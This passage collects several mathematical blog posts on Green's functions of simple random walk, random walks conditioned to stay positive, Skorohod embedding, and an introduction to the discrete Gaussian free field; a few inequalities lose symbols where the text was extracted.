number of visits to y and x, respectively. However, we can argue that for any m $\mathbb{P}_x(S_m=y, \tau_{D^c}>m) = \mathbb{P}_y(S_m=x, \tau_{D^c}>m),$ by looking at the suitable paths of $(S_m)$. That is, if we have a path $x=S_0,S_1,\ldots,S_m=y$ that stays within D, then the probability of seeing this path starting from x and its reverse direction starting from y are equal. Why? Because $\mathbb{P}_x(S_0=x,S_1=v_1,\ldots,S_{m-1}=v_{m-1},S_m=y) = \prod_{\ell=0}^{m-1} \frac{1}{\mathrm{deg}(v_\ell)},$ and $\mathbb{P}_y(S_0=y,S_1=v_{m-1},\ldots,S_{m-1}=v_1, S_m=x) = \prod_{\ell=0}^{m-1} \frac{1}{\mathrm{deg}(v_{m-\ell})} = \prod_{\ell=1}^m \frac{1}{\mathrm{deg}(v_\ell)}.$ Since $D\subset \mathbb{Z}^d$ and x,y are in the interior of D, we must have $\mathrm{deg}(x)=\mathrm{deg}(y)$, and so these two expressions are equal. Summing over all such two-way paths, and then all m gives the result. Fixing one argument We now focus on $G^D(\cdot,y)$, where the second argument is fixed. This is the solution to the Poisson equation $\Delta G^D(\cdot,y) = -\delta_y(\cdot),\quad G^D(x,y)=0,\; \forall x\in \partial D.$ To see this, can use a standard hitting probability argument (as here) with the Markov property. This is harmonic in $D\backslash \{y\}$, and since we know $G^D(y,y)= \frac{1}{\mathbb{P}_y(\text{RW hits }\partial D\text{ before returning to }y)},$ this uniquely specifies $G^D(\cdot,y)$. Anyway, since harmonic functions achieve their maxima at the boundary, we have $G(y,y)\ge G(x,y)$ for all $x\in D$. We can also see this from the SRW definition as $G(x,y)=G(y,x) = \mathbb{P}_y (\tau_x < \tau_{\partial D} ) G(x,x) \le G(x,x).$ Changing the domain Now we want to consider nested domains $D\subset E$, and compare $G^D(\cdot,\cdot)$ and $G^E(\cdot,\cdot)$ on DxD. The idea is that for SRW started from $x\in D$, we have $\tau_{\partial D}\le \tau_{\partial E}$, since one boundary is contained within the other. From this, we get $G^D(x,y)\le G^E(x,y),\quad \forall x,y\in D,$ and we will use the particular case y=x. For example, if $x\in V_N$, the box with width N, then the box with width 2N centred on x contains the whole of $V_N$. So, if we set $\bar {V}_{2N}:= [-N,N]^d$, then with reference to the diagram, we have $G^{V_N}(x,x)\le G^{\bar{V}_{2N}}(0,0),\quad x\in V_N.$ As we’ll see when we study the maximum of the DGFF on $V_N$, uniform control over the pointwise variance will be a useful tool. Maximising the Green’s function The idea of bounding $G^{V_N}(x,x)$ by $G^{\bar V_{2N}}(0,0)$ for any $x\in V_N$ is clever and useful. But a more direct approach would be to find the value of x that maximises $G^{V_N}(x,x)$. We would conjecture that when $V_N$ has a central vertex, then this is the maximiser. We can prove this directly from the definition of the Green’s function in terms of random walk occupation times. Let’s assume we are working with $\bar{V}_N$ for even N, so that 0 is the central vertex. Again, since $G^D(x,x)=\frac{1}{\mathbb{P}_x(\text{RW hits }\partial D\text{ before returning to }x)},$ () it would suffice to show that this probability is minimised when x=0. This feels right, since 0 is furthest from the boundary. Other points are closer to the boundary in some directions but further in others, so we can’t condition on the maximum distance from its start point achieved by an excursion of SRW (we’re vertex-transitive, so these look the same from all starting points), as even allowing for the four possible rotations, for an excursion of diameter slightly larger than N, starting at the centre is maximally bad. However, intuitively it does feel as if being closer to the boundary makes you more likely to escape earlier. In fact, with a bit more care, we can couple the SRW started from 0 and the SRW started from $r=(r^x,r^y)\ne 0$ such that the latter always exits first. For convenience we’ll assume also that $r^x,r^y$ are both even. I couldn’t find any reference to this, so I don’t know whether it’s well-known or not. The following argument involves projecting into each axis, and doing separate couplings for transitions in the x-direction and transitions in the y-direction. We assume WLOG that x is in the upper-right quadrant as shown. Then, let $0=S_0,S_1,S_2,\ldots$ be SRW started from 0, and we will construct $r=R_0,R_1,R_2,\ldots$ on the same probability space as $(S_m)_{m\ge 0}$ as follows. For every m, we set the increment $R_{m+1}-R_m$ to be $\pm(S_{m+1}-S_m)$. It remains to specify the sign, which will be determined by the direction of the S-increment, and a pair of stopping times. The marginal is therefore again an SRW, started from r. Temporarily, we use the unusual notation $S_m= (S^x_m,S^y_m)$ for the coordinates of $S_m$. So, if $S_{m+1}-S_m=(1,0), (-1,0)$, ie S moves left or right, then we set $R_{m+1}-R_m = \begin{cases} -(S_{m+1}-S_m) &\quad \text{if }mT^x.\end{cases}$ () where $T^x:= \min\{m\,:\, R^x_m=S^x_m\}$. That is, $R^x$ moves in the opposing direction to $S^x$ until the first time when they are equal (hence the parity requirement), and then they move together. WLOG assume that $r^x>0$. Then suppose $S^x_m=\pm N$ and such m is minimal. Then by construction, if $m\ge T^x$, then $R^x_m=\pm N$ also. If $m, then we must have $S^x_m=-N$, and so since $R^x$‘s trajectory is a mirror image of $S^x$‘s, in fact $R^x_m = N+r^x>N$, so $R^x$ hit +N first. In both cases, we see that $R^x$ hits $\pm N$ at the same time or before $S^x$. In other words, when $S^x_m$ has non-negative x coordinate, the lazy random walk $R^x$ follows the same trajectory as $S^x$, and when it has negative x coordinate, the $R^x$ mirrors $S^x$. At some time, it may happen that $S^x_m= R^x_m=0$ (recall the parity condition on r). Call this time $T^x$. We then adjust the description of the coupling so that () is the mechanism for $m, and then for $m\ge T^x$, we take $S^x_m=R^x_m$. Similarly, if $S_{m+1}-S_m =(0,1), (0,-1)$, ie S moves up or down, then we set $R_{m+1}-R_m = \begin{cases} -(S_{m+1}-S_m)&\quad \text{ if }m with corresponding definition of the stopping time $T^y$. This completes the coupling, and by considering $T^x\wedge T^y$, we have shown what that the exit time for the walk started from zero dominates the exit time for walk started from r. Recall that so far we are in the case where the box has even width and $r=(r^x,r^y)$ has even coordinates. This exit time comparison isn’t exactly what we need to compare $G^N(0,0)$ and $G^N(x,x)$. It’s worth remarking at this stage that if all we cared about was the Green’s function on the integer line [-N,N], we would have an easier argument, as by the harmonic property of $G(\cdot,y)$ $G^{[-N,N]}(0,r)=\frac{N-r}{N}G^{[-N,N]}(0,0),$ $G^{[-N,N]}(r,0) = \frac{N}{N+r}G^{[-N,N]}(r,r),$ and so $G(0,0)>G(r,r)$ follows by symmetry. To lift from 1D to 2D directly, we need a bit more than this. It’s possible that S returns in both x- and y- coordinates more often than R, but never at the same time. Fortunately, the coupling we defined slightly earlier does give us a bit more control. Let $\tau^x(S), \tau^x(R)$ be the first times that $S^x, R^x$ hit $\pm N$. Under this coupling, for any $m\ge 0$ $\mathbb{P}(S^x_m=0, m since these events are literally equal. Since we showed that $\tau^x(R)\le \tau^x(S)$ almost surely, we can further deduce $\mathbb{P}(S^x_m=0,m $=\mathbb{P}(R^x_m=r^x, m To address the corresponding events for which $m\ge T^x$, we apply the strong Markov property at $T^x$, to obtain SRW $Z_m$ started from r/2, and let $\tau_{-N},\tau_{+N}$ be the hitting times of $-N,+N$ respectively and $\tau_{\pm N}=\tau_{-N}\wedge \tau_{+N}$. It will now suffice to prove that $\mathbb{P}(Z_m=0, m< \tau_{\pm N}) \ge \mathbb{P}(Z_m=r,m<\tau_{\pm N}),$ () as then we can apply the law of total probability and sum over values of $T^x$ and $m\ge 0$. To prove this result, we consider the following bijection between trajectories of length m from r/2 to {0,r}. We decompose the trajectories into excursions away from r/2, and then a final meander from r/2 to {0,r} that stays on the same side of r/2. We construct the new trajectory by preserving all the initial excursions, but reversing all the steps of the final meander. So if the original trajectory ended up at 0, the image ends up at r. Trivially, the initial excursions in the image only hit $\pm N$ if the excursions in the original trajectory did this too. But it’s also easy to see, by a similar argument to the coupling at the start of this section, that if the original trajectory ends at r and does not hit $\pm N$, then so does the image. However, the converse is not true. So we conclude (), and thus $\mathbb{P}(S_m^x=0) \ge \mathbb{P}(R_m^x=0)$ for all m by combining everything we have seen so far. And so we can now lift to a statement about $S_m$ itself, that is considering both coordinates separately. The remaining cases for r require a little more care over the definition of $T^x$, though the same projection argument works, for fundamentally the same reason. (Note that in the above argument, if $S^x_m=-N$ and $m, then in fact $R^x_m\ge N+2$, and so it’s not hard to convince yourself that a sensible adjustment to the stopping time will allow a corresponding result with $R^x_m\ge N+1$ in the odd $r^x$ case.) The case for N odd is harder, since in one dimension there are two median sites, and it’s clear by symmetry that we can’t couple them such that RW from one always exits at least as early as RW from the other. However, the distributions of exit times started from these two sites are the same (by symmetry), and so although we can’t find a coupling, we can use similar stopping times to obtain a result in probability. In the next post, we’ll see how to apply this uniform bound on $G^{V_N}(x,x)$ to control the maximum of the DGFF on $V_N$. In particular, we address how the positive correlations of DGFF influence the behaviour of the maximum by comparison with independent Gaussians at each site. # Random walks conditioned to stay positive In this post, I’m going to discuss some of the literature concerning the question of conditioning a simple random walk to lie above a line with fixed gradient. A special case of this situation is conditioning to stay non-negative. Some notation first. Let $(S_n)_{n\ge 0}$ be a random walk with IID increments, with distribution X. Take $\mu$ to be the expectation of these increments, and we’ll assume that the variance $\sigma^2$ is finite, though at times we may need to enforce slightly stronger regularity conditions. (Although simple symmetric random walk is a good example for asymptotic heuristics, in general we also assume that if the increments are discrete they don’t have parity-based support, or any other arithmetic property that prevents local limit theorems holding.) We will investigate the probability that $S_n\ge 0$ for n=0,1,…,N, particularly for large N. For ease of notation we write $T=\inf\{n\ge 0\,:\, S_n<0\}$ for the hitting time of the negative half-plane. Thus we are interested in $S_n$ conditioned on T>N, or T=N, mindful that these might not be the same. We will also discuss briefly to what extent we can condition on $T=\infty$. In the first paragraph, I said that this is a special case of conditioning SRW to lie above a line with fixed gradient. Fortunately, all the content of the general case is contained in the special case. We can repose the question of $S_n$ conditioned to stay above $n\alpha$ until step N by the question of $S_n-n\alpha$ (which, naturally, has drift $\mu-\alpha$) conditioned to stay non-negative until step N, by a direct coupling. Applications Simple random walk is a perfectly interesting object to study in its own right, and this is a perfectly natural question to ask about it. But lots of probabilistic models can be studied via naturally embedded SRWs, and it’s worth pointing out a couple of applications to other probabilistic settings (one of which is the reason I was investigating this literature). In many circumstances, we can desribe random trees and random graphs by an embedded random walk, such as an exploration process, as described in several posts during my PhD, such as here and here. The exploration process of a Galton-Watson branching tree is a particularly good example, since the exploration process really is simple random walk, unlike in, for example, the Erdos-Renyi random graph G(N,p), where the increments are only approximately IID. In this setting, the increments are given by the offspring distribution minus one, and the hitting time of -1 is the total population size of the branching process. So if the expectation of the offspring distribution is at most 1, then the event that the size of the tree is large is an atypical event, corresponding to delayed extinction. Whereas if the expectation is greater than one, then it is an event with limiting positive probability. Indeed, with positive probability the exploration process never hits -1, corresponding to survival of the branching tree. There are plenty of interesting questions about the structure of a branching process tree conditional on having atypically large size, including the spine decomposition of Kesten [KS], but the methods described in this post can be used to quantify the probability, or at least the scale of the probability of this atypical event. In my current research, I’m studying a random walk embedded in a construction of the infinite-volume DGFF pinned at zero, as introduced by Biskup and Louidor [BL]. The random walk controls the gross behaviour of the field on annuli with dyadically-growing radii. Anyway, in this setting the random walk has Gaussian increments. (In fact, there is a complication because the increments aren’t exactly IID, but that’s definitely not a problem at this level of exposition.) The overall field is decomposed as a sum of the random walk, plus independent DGFFs with Dirichlet boundary conditions on each of the annuli, plus asymptotically negligible corrections from a ‘binding field’. Conditioning that this pinned field be non-negative up to the Kth annulus corresponds to conditioning the random walk to stay above the magnitude of the minimum of each successive annular DGFF. (These minima are random, but tightly concentrated around their expectations.) Conditioning on $\{T > N\}$ When we condition on $\{T>N\}$, obviously the resulting distribution (of the process) is a mixture of the distributions we obtain by conditioning on each of $\{T=N+1\}, \{T=N+2\},\ldots$. Shortly, we’ll condition on $\{T=N\}$ itself, but first it’s worth establishing how to relate the two options. That is, conditional on $\{T>N\}$, what is the distribution of T? Firstly, when $\mu>0$, this event always has positive probability, since $\mathbb{P}(T=\infty)>0$. So as $N\rightarrow\infty$, the distribution of the process conditional on $\{T>N\}$ converges to the distribution of the process conditional on survival. So we’ll ignore this for now. In the case $\mu\le 0$, everything is encapsulated in the tail of the probabilities $\mathbb{P}(T=N)$, and these tails are qualitatively different in the cases $\mu=0$ and $\mu<0$. When $\mu=0$, then $\mathbb{P}(T=N)$ decays polynomially in N. In the special case where $S_n$ is simple symmetric random walk (and N has the correct parity), we can check this just by an application of Stirling’s formula to count paths with this property. By contrast, when $\mu<0$, even demanding $S_N=-1$ is a large deviations event in the sense of Cramer’s theorem, and so the probability decays exponentially with N. Mogulskii’s theorem gives a large deviation principle for random walks to lie above a line defined on the scale N. The crucial fact here is that the probabilistic cost of staying positive until N has the same exponent as the probabilistic cost of being positive at N. Heuristically, we think of spreading the non-expected behaviour of the increments uniformly through the process, at only polynomial cost once we’ve specified the multiset of values taken by the increments. So, when $\mu<0$, we have $\mathbb{P}(T\ge(1+\epsilon)N) \ll \mathbb{P}(T= N).$ Therefore, conditioning on $\{T\ge N\}$ in fact concentrates T on N+o(N). Whereas by contrast, when $\mu=0$, conditioning on $\{T\ge N\}$ gives a nontrivial limit in distribution for T/N, supported on $[1,\infty)$. A related problem is the value taken by $S_N$, conditional on {T>N}. It’s a related problem because the event {T>N} depends only on the process up to time N, and so given the value of $S_N$, even with the conditioning, after time N, the process is just an unconditioned RW. This is a classic application of the Markov property, beloved in several guises by undergraduate probability exam designers. Anyway, Iglehart [Ig2] shows an invariance principle for $S_N \| T>N$ when $\mu<0$, without scaling. That is $S_N=\Theta(1)$, though the limiting distribution depends on the increment distribution in a sense that is best described through Laplace transforms. If we start a RW with negative drift from height O(1), then it hits zero in time O(1), so in fact this shows that conditonal on $\{T\ge N\}$, we have T= N +O(1) with high probability. When $\mu=0$, we have fluctuations on a scale $\sqrt{N}$, as shown earlier by Iglehart [Ig1]. Again, thinking about the central limit theorem, this fits the asymptotic description of T conditioned on T>N. Conditioning on $T=N$ In the case $\mu=0$, conditioning on T=N gives $\left[\frac{1}{\sqrt{N}}S(\lfloor Nt\rfloor ) ,t\in[0,1] \right] \Rightarrow W^+(t),$ () where $W^+$ is a standard Brownian excursion on [0,1]. This is shown roughly simultaneously in [Ka] and [DIM]. This is similar to Donsker’s theorem for the unconditioned random walk, which converges after rescaling to Brownian motion in this sense, or Brownian bridge if you condition on $S_N=0$. Skorohod’s proof for Brownian bridge [Sk] approximates the event $\{S_N=0\}$ by $\{S_N\in[-\epsilon \sqrt{N},+\epsilon \sqrt{N}]\}$, since the probability of this event is bounded away from zero. Similarly, but with more technicalities, a proof of convergence conditional on T=N can approximate by $\{S_m\ge 0, m\in[\delta N,(1-\delta)N], S_N\in [-\epsilon \sqrt{N},+\epsilon\sqrt{N}]\}$. The technicalities here emerge since T, the first return time to zero, is not continuous as a function of continuous functions. (Imagine a sequence of processes $f^N$ for which $f^N(x)\ge 0$ on [0,1] and $f^N(\frac12)=\frac{1}{N}$.) Once you condition on $T=N$, the mean $\mu$ doesn’t really matter for this scaling limit. That is, so long as variance is finite, for any $\mu\in\mathbb{R}$, the same result () holds, although a different proof is in general necessary. See [BD] and references for details. However, this is particularly clear in the case where the increments are Gaussian. In this setting, we don’t actually need to take a scaling limit. The distribution of Gaussian random walk bridge* doesn’t depend on the mean of the increments. This is related to the fact that a linear transformation of a Gaussian is Gaussian, and can be seen by examining the joint density function directly. Conditioning on $T=\infty$ When $\mu>0$, the event $\{T=\infty\}$ occurs with positive probability, so it is well-defined to condition on it. When $\mu\le 0$, this is not the case, and so we have to be more careful. First, an observation. Just for clarity, let’s take $\mu<0$, and condition on $\{T>N\}$, and look at the distribution of $S_{\epsilon N}$, where $\epsilon>0$ is small. This is approximately given by $\frac{S_{\epsilon N}}{\sqrt{N}}\stackrel{d}{\approx}W^+(\epsilon).$ Now take $\epsilon\rightarrow\infty$ and consider the RHS. If instead of the Brownian excursion $W^+$, we instead had Brownian motion, we could specify the distribution exactly. But in fact, we can construct Brownian excursion as the solution to an SDE: $\mathrm{d}W^+(t) = \left[\frac{1}{W^+(t)} - \frac{W^+(t)}{1-t}\right] \mathrm{d}t + \mathrm{d}B(t),\quad t\in(0,1)$ () for B a standard Brownian motion. I might return in the next post to why this is valid. For now, note that the first drift term pushes the excursion away from zero, while the second term brings it back to zero as $t\rightarrow 1$. From this, the second drift term is essentially negligible if we care about scaling $W^+(\epsilon)$ as $\epsilon\rightarrow 0$, and we can say that $W^+(\epsilon)=\Theta(\sqrt{\epsilon})$. So, returning to the random walk, we have $\frac{S_{\epsilon N}}{\sqrt{\epsilon N}}\stackrel{d}{\approx} \frac{W^+(\epsilon)}{\sqrt{\epsilon}} = \Theta(1).$ At a heuristic level, it’s tempting to try ‘taking $N\rightarrow\infty$ while fixing $\epsilon N$‘, to conclude that there is a well-defined scaling limit for the RW conditioned to stay positive forever. But we came up with this estimate by taking $N\rightarrow\infty$ and then $\epsilon\rightarrow 0$ in that order. So while the heuristic might be convincing, this is not the outline of a valid argument in any way. However, the SDE representation of $W^+$ in the $\epsilon\rightarrow 0$ regime is useful. If we drop the second drift term in (), we define the three-dimensional Bessel process, which (again, possibly the subject of a new post) is the correct scaling limit we should be aiming for. Finally, it’s worth observing that the limit $\{T=\infty\}=\lim_{N\rightarrow\infty} \{T>N\}$ is a monotone limit, and so further tools are available. In particular, if we know that the trajectories of the random walk satisfy the FKG property, then we can define this limit directly. It feels intuitively clear that random walks should satisfy the FKG inequality (in the sense that if a RW is large somewhere, it’s more likely to be large somewhere else). You can do a covariance calculation easily, but a standard way to show the FKG inequality applies is by verifying the FKG lattice condition, and unless I’m missing something, this is clear (though a bit annoying to check) when the increments are Gaussian, but not in general. Even so, defining this monotone limit does not tell you that it is non-degenerate (ie almost-surely finite), for which some separate estimates would be required. A final remark: in a recent post, I talked about the Skorohod embedding, as a way to construct any centered random walk where the increments have finite variance as a stopped Brownian motion. One approach to conditioning a random walk to lie above some discrete function is to condition the corresponding Brownian motion to lie above some continuous extension of that function. This is a slightly stronger conditioning, and so any approach of this kind must quantify how much stronger. In Section 4 of [BL], the authors do this for the random walk associated with the DGFF conditioned to lie above a polylogarithmic curve. References [BD] – Bertoin, Doney – 1994 – On conditioning a random walk to stay nonnegative [BL] – Biskup, Louidor – 2016 – Full extremal process, cluster law and freezing for two-dimensional discrete Gaussian free field [DIM] – Durrett, Iglehart, Miller – 1977 – Weak convergence to Brownian meander and Brownian excursion [Ig1] – Iglehart – 1974 – Functional central limit theorems for random walks conditioned to stay positive [Ig2] – Iglehart – 1974 – Random walks with negative drift conditioned to stay positive [Ka] – Kaigh – 1976 – An invariance principle for random walk conditioned by a late return to zero [KS] – Kesten, Stigum – 1966 – A limit theorem for multidimensional Galton-Watson processes [Sk] – Skorohod – 1955 – Limit theorems for stochastic processes with independent increments # Skorohod embedding Background Suppose we are given a standard Brownian motion $(B_t)$, and a stopping time T. Then, so long as T satisfies one of the regularity conditions under which the Optional Stopping Theorem applies, we know that $\mathbb{E}[B_T]=0$. (See here for a less formal introduction to OST.) Furthermore, since $B_t^2-t$ is a martingale, $\mathbb{E}[B_T^2]=\mathbb{E}[T]$, so if the latter is finite, so is the former. Now, using the strong Markov property of Brownian motion, we can come up with a sequence of stopping times $0=T_0, T_1, T_2,\ldots$ such that the increments $T_k-T_{k-1}$ are IID with the same distribution as T. Then $0,B_{T_1},B_{T_2},\ldots$ is a centered random walk. By taking T to be the hitting time of $\{-1,+1\}$, it is easy to see that we can embed simple random walk in a Brownian motion using this approach. Embedding simple random walk in Brownian motion. The Skorohod embedding question asks: can all centered random walks be constructed in this fashion, by stopping Brownian motion at a sequence of stopping time? With the strong Markov property, it immediately reduces the question of whether all centered finite-variance distributions X can be expressed as $B_T$ for some integrable stopping time T. The answer to this question is yes, and much of what follows is drawn from, or at least prompted by Obloj’s survey paper which details the problem and rich history of the many approaches to its solution over the past seventy years. Applications and related things The relationship between random walks and Brownian motion is a rich one. Donsker’s invariance principle asserts that Brownian motion appears as the scaling limit of a random walk. Indeed, one can construct Brownian motion itself as the limit of a sequence of consistent random walks with normal increments on an increasingly dense set of times. Furthermore, random walks are martingales, and we know that continuous, local martingales can be expressed as a (stochastically) time-changed Brownian motion, from the Dubins-Schwarz theorem. The Skorohod embedding theorem can be used to prove results about random walks with general distribution by proving the corresponding result for Brownian motion, and checking that the construction of the sequence of stopping times has the right properties to allow the result to be carried back to the original setting. It obviously also gives a coupling between a individual random walk and a Brownian motion which may be useful in some contexts, as well as a coupling between any pair of random walks. This is useful in proving results for random walks which are much easier for special cases of the distribution. For example, when the increments are Gaussian, or when there are combinatorial approaches to a problem about simple random walk. At the moment no aspect of this blog schedule is guaranteed, but I plan to talk about the law of the iterated logarithm shortly, whose proof is approachable in both of these settings, as well as for Brownian motion, and Skorohod embedding provides the route to the general proof. At the end, we will briefly compare some other ways to couple a random walk and a Brownian motion. One thing we could do is sample a copy of X independently from the Brownian motion, then declare $T= \tau_{X}:= \inf\{t\ge 0: B_t=X\}$, the hitting time of (random value) X. But recall that unfortunately $\tau_x$ has infinite expectation for all non-zero x, so this doesn’t fit the conditions required to use OST. Skorohod’s original method is described in Section 3.1 of Obloj’s notes linked above. The method is roughly to pair up positive values taken by X appropriately with negative values taken by X in a clever way. If we have a positive value b and a negative value a, then $\tau_{a,b}$, the first hitting time of $\mathbb{R}\backslash (a,b)$ is integrable. Then we choose one of these positive-negative pairs according to the projection of the distribution of X onto the pairings, and let T be the hitting time of this pair of values. The probability of hitting b conditional on hitting {a,b} is easy to compute (it’s $\frac{-a}{b-a}$) so we need to have chosen our pairs so that the ‘probability’ of hitting b (ie the density) comes out right. In particular, this method has to start from continuous distributions X, and treat atoms in the distribution of X separately. The case where the distribution X is symmetric (that is $X\stackrel{d}=-X$) is particularly clear, as then the pairs should be $(-x,x)$. However, it feels like there is enough randomness in Brownian motion already, and subsequent authors showed that indeed it wasn’t necessary to introduce extra randomness to provide a solution. One might ask whether it’s possible to generate the distribution on the set of pairs (as above) out of the Brownian motion itself, but independently from all the hitting times. It feels like it might be possible to make the distribution on the pairs measurable with respect to $\mathcal{F}_{0+} = \bigcap\limits_{t>0} \mathcal{F}_t,$ the sigma-algebra of events determined by limiting behaviour as $t\rightarrow 0$ (which is independent of hitting times). But of course, unfortunately $\mathcal{F}_{0+}$ has a zero-one law, so it’s not possible to embed non-trivial distributions there. Dubins solution The exemplar for solutions without extra randomness is due to Dubins, shortly after Skorohod’s original argument. The idea is to express the distribution X as the almost sure limit of a martingale. We first use the hitting time of a pair of points to ‘decide’ whether we will end up positive or negative, and then given this information look at the hitting time (after this first time) of two subsequent points to ‘decide’ which of four regions of the real interval we end up in. I’m going to use different notation to Obloj, corresponding more closely with how I ended up thinking about this method. We let $a_+:= \mathbb{E}[X \,\|\, X>0], \quad a_- := \mathbb{E}[X\,\|\, X<0],$ () and take $T_1 = \tau_{\{a_-,a_+\}}$. We need to check that $\mathbb{P}\left( B_{T_1}=a_+\right) = \mathbb{P}\left(X>0\right),$ for this to have a chance of working. But we know that $\mathbb{P}\left( B_{T_1}=a_+\right) = \frac{a_+}{a_+-a_-},$ and we can also attack the other side using () and the fact that $\mathbb{E}[X]=0$, using the law of total expectation: $0=\mathbb{E}[X]=\mathbb{E}[X\,\|\, X>0] \mathbb{P}(X>0) + \mathbb{E}[X\,\|\,X<0]\mathbb{P}(X<0) = a_+ \mathbb{P}(X>0) + a_- \left(1-\mathbb{P}(X>0) \right),$ $\Rightarrow\quad \mathbb{P}(X>0)=\frac{a_+}{a_+-a_-}.$ Now we define $a_{++}=\mathbb{E}[X \,\|\, X>a_+],\quad a_{+-}=\mathbb{E}[X\,\|\, 0 and similarly $a_{-+},a_{--}$. So then, conditional on $B_{T_1}=a_+$, we take $T_2:= \inf_{t\ge T_1}\left\{ B_t\not\in (a_{+-},a_{++}) \right\},$ and similarly conditional on $B_{T_1}=a_-$. By an identical argument to the one we have just deployed, we have $\mathbb{E}\left[B_{T_2} \,\|\,\mathcal{F}_{T_1} \right] = B_{T_1}$ almost surely. So, although the $a_{+-+}$ notation now starts to get very unwieldy, it’s clear we can keep going in this way to get a sequence of stopping times $0=T_0,T_1,T_2,\ldots$ where $B_{T_n}$ determines which of the $2^n$ regions of the real line any limit $\lim_{m\rightarrow\infty} B_{T_m}$ should lie in. A bit of work is required to check that the almost sure limit $T_n\rightarrow T$ is almost surely finite, but once we have this, it is clear that $B_{T_n}\rightarrow B_T$ almost surely, and $B_T$ has the distribution required. We want to know how close we can make this coupling between a centered random walk with variance 1, and a standard Brownian motion. Here, ‘close’ means uniformly close in probability. For large times, the typical difference between one of the stopping times $0,T_1,T_2,\ldots$ in the Skorohod embedding and its expectation (recall $\mathbb{E}[T_k]=k$) is $\sqrt{n}$. So, constructing the random walk $S_0,S_1,S_2,\ldots$ from the Brownian motion via Skorohod embedding leads to $\left \|S_k - B_k \right\| = \omega(n^{1/4}),$ for most values of $k\le n$. Strassen (1966) shows that the true scale of the maximum $\max_{k\le n} \left\| S_k - B_k \right\|$ is slightly larger than this, with some extra powers of $\log n$ and $\log\log n$ as one would expect. The Komlos-Major-Tusnady coupling is a way to do a lot better than this, in the setting where the distribution of the increments has a finite MGF near 0. Then, there exists a coupling of the random walk and the Brownian motion such that $\max_{k\le n}\left\|S_k- B_k\right\| = O(\log n).$ That is, there exists C such that $\left[\max_{k\le n} \left \|S_k-B_k\right\| - C\log n\right] \vee 0$ is a tight family of distributions, indeed with uniform exponential tail. To avoid digressing infinitely far from my original plan to discuss the proof of the law of iterated logarithm for general distributions, I’ll stop here. I found it hard to find much coverage of the KMT result apart from the challenging original paper, and many versions expressed in the language of empirical processes, which are similar to random walks in many ways relevant to convergence and this coupling, but not for Skorohod embedding. So, here is a link to some slides from a talk by Chatterjee which I found helpful in getting a sense of the history, and some of the modern approaches to this type of normal approximation problem. # DGFF 1 – The discrete Gaussian free field from scratch I’ve moved to Haifa in northern Israel to start a post-doc in the probability group at the Technion, and now that my thesis is finished I want to start blogging again. The past couple of weeks have been occupied with finding an apartment and learning about the Discrete Gaussian Free Field. All questions about the apartment are solved, but fortunately lots remain open about the DGFF, so I thought I’d write some background about this object and methods which have been used to study it. Background – Random walk bridge When we think of a random walk, we usually think of the index as time, normally going forwards. So for a random walk bridge, we might assume $Z_0=0$, and then condition on $Z_N=0$, thinking of this as a demand that the process has returned to zero at the future time. In some applications, this is the ideal intuition, but in others, it is more useful to think of the random walk bridge $(0=Z_0,Z_1,\ldots,Z_{N-1},Z_N=0),$ as a random height function indexed by [0,N], where the probability of a given path decomposes naturally into a product depending on the N increments, up to a normalising constant. Naturally, we are interested in the asymptotic behaviour of such a random walk bridge when $N\rightarrow\infty$. So long as the step distribution has finite variance, a conditioned version of Donsker’s theorem shows that the rescaled random walk bridge converges in distribution to Brownian bridge. Note that Brownian bridge $(B^{\mathrm{br}}_t, t\in[0,1])$ can be constructed either by conditioning a standard Brownian motion B to return to zero at time one (modulo some technicalities – this event has zero probability), or by applying an appropriate (random) linear shift $B^{\mathrm{br}}(t):= B(t) - tB(1).$ () It is not too hard to calculate the distribution of $B^{\mathrm{br}}(t)$ for each $t\in[0,1]$, and with a bit more work, one can calculate the joint distribution of $(B^{\mathrm{br}}(s),B^{\mathrm{br}}(t))$. In particular, the joint distribution is multivariate Gaussian, and so everything depends on the covariance ‘matrix’ (which here is indexed by [0,1]). So if we return to a random walk bridge what should the step distribution be? Simple symmetric RW is a natural choice, as then lots of the quantities we might want to consider boil down to combinatorial calculations. Cleverness and Stirling’s formula can often get us useful asymptotics. But there are lots of inconveniences, not least the requirement to be careful about parity (N has to be even for a start unless you make the walk lazy, in which case the combinatorics becomes harder), and even if these can be overcome in a given calculation, it would be better not to have this. The claim is that the random walk with Gaussian increments is by far the easiest to analyse asymptotically. As a further heuristic, think about the statement of the central limit theorem in the case where the underlying distribution is normal: it’s true but obvious. [Indeed, it’s my favourite piece of advice to anyone taking second year probability exams to check that your proposed statement of CLT does actually work for $N(\mu,\sigma^2)$…] More concretely, if a RW has Gaussian increments, then the path $(Z_1,\ldots,Z_N)$ is a multivariate normal, or a Gaussian process with finite index set. In particular, covariances define the distribution. It remains a Gaussian process after conditioning on $Z_N=0$, and the linear tilting argument at () remains true here, and can indeed be applied to turn any boundary conditions into any other boundary conditions. The discrete Gaussian free field We know how to generalise the domain of a random walk to higher dimensions. But what generalising the index to higher dimension? So now there is definitely no arrow of time, and the notion of a random height function above $\mathbb{Z}^2$ (or a subset of it) is helpful, for which a scaling limit might be a random surface rather than Brownian motion. Because we can’t well-order $\mathbb{Z}^d$, it’s harder to define any such random object on the entire lattice immediately, so we start with compact connected subsets, with zero boundary conditions, as in the one-dimensional case of random walk bridge. Formally, let D be a finite subset of $\mathbb{Z}^d$, and the boundary $\partial D$ those elements of $D^c$ which are adjacent to an element of D, and let $\bar D:= D\cup \partial D$. Then, the discrete Gaussian free field on D is a random real vector $h^D=(h^D_x: x\in \bar D)$, with probability density proportional to $\mathbf{1}\{h^D_x=0, x\in\partial D\}\exp\left ( - \frac{1}{4d} \sum_{x\sim y}(h^D_x - h^D_y)^2 \right),$ (1) where we write $x\sim y$ if that x,y are adjacent in $\bar D$. We won’t at any stage worry much about the partition function which normalises this pdf. Note also that $\frac{1}{4d}$ is just a convenient choice of constant, which corresponds to one of the canonical choices for the discrete Laplacian. Adjusting this constant is the same as uniformly rescaling the values taken by the field. The immediate interpretation of (1) is that the values taken by the field at vertices which are close to each other are positively correlated. Furthermore, the form of the density is Gaussian. Concretely, if the values of $h^D$ are fixed everywhere except one vertex $x\in D$, then the conditional distribution of $h^D_x$ is Gaussian. Later, or in subsequent posts, we will heavily develop this idea. Alternatively, we could if we really wanted describe the model in terms of independent Gaussians describing the ‘increment’ along each edge in D (which we should direct), subject to a very large number of conditions, namely that the sum of increments along any directed cycle is zero. This latter description might be more useful if you wanted to define a DGFF on a more sparse graph, but won’t be useful in what follows. Note that we can rearrange the Laplacian in (1) in terms of the transition kernel p( ) of the simple random walk of D to obtain $\exp\left( -\frac12 (h^D)^T (\mathbf{P}-\mathbf{1})h^D \right),$ where 